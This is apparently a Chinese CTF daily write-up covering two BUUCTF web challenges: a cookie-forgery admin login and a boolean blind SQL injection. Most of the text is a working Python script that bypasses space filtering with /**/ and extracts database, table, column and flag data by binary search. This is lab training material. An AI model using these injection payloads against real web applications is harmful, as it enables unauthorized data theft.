一天一道ctf 第47天（二分法盲注）

[BSidesCF 2019]Kookie

看样子是要我们以admin登录，线索是cookie。只要抓包添加cookie:username=admin就行了（？？？）

[WUSTCTF2020]颜值成绩查询

输入学号查成绩，那肯定就是sql注入了。之前也做过一道类型差不多的盲注，尝试二分法爆破。注意这道题空格被过滤了，用/**/代替空格。

import requests
URL ="http://a9ca4ca6-8f5a-4891-aba1-083c0fc8e751.node4.buuoj.cn/index.php?stunum="
'''
result=''
i=0
while True:
    i+=1
    low=32
    high=127
    while(low<high):
        mid=(low+high)>>1
        #payload="if(ascii(substr(database(),%d,1))>%d,1,0)"%(i,mid)
        #payload = "if(ascii(substr((select/**/group_concat(table_name)from(information_schema.tables)where(table_schema=database())),%d,1))>%d,1,0)" % (i, mid)
        #payload = "if(ascii(substr((select/**/group_concat(column_name)from(information_schema.columns)where(table_name='flag')),%d,1))>%d,1,0)" % (i, mid)
        payload = "if(ascii(substr((select/**/group_concat(value)from(flag)),%d,1))>%d,1,0)" % (i, mid)
        r=requests.get(URL+payload)
        r.encoding = "utf-8"
        if" your score is" in r.text:
            low = mid + 1
        else:
            high = mid
    if low != 32:
        result += chr(low)
    else:
        break
    print(result)
'''
'''
result = ''
i = 0
while True:
    i += 1
    print(i)
    low = 32
    high = 127
    while low<high:
        payload = "if(ascii(substr((select/**/group_concat(value)from(flag)),%d,1))=%d,1,0)" % (i, low)
        r = requests.get(URL + payload)
        r.encoding = "utf-8"
        if " your score is" in r.text:
            result += chr(low)
            break
        low+=1
    print(result)
'''



table = ""
for i in range(1, 300):
    print(i)
    high = 128
    low = 31
    while (low <= high):

        mid = (low + high) // 2
        print(mid)
        payload11 = "if(ascii(substr((select/**/group_concat(value)from(flag)),%d,1))=%d,1,0)" % (i, mid)
        payload12 = "if(ascii(substr((select/**/group_concat(value)from(flag)),%d,1))<%d,1,0)" % (i, mid)
        payload13 = "if(ascii(substr((select/**/group_concat(value)from(flag)),%d,1))>%d,1,0)" % (i, mid)

        ra11 = requests.get(URL + payload11)
        ra12 = requests.get(URL + payload12)
        ra13 = requests.get(URL + payload13)
        ra11.encoding = "utf-8"
        ra12.encoding = "utf-8"
        ra13.encoding = "utf-8"
        if 'your score is' in ra11.text:
            table += chr(mid)
            print(table)
            break
        if 'your score is' in ra12.text:
            # print ("'low='+%d + 'high=' + %d"%(low,high))
            high = mid - 1
        if "your score is" in ra13.text:
            # print ("'low='+%d + 'high=' + %d"%(low,high))
            low = mid + 1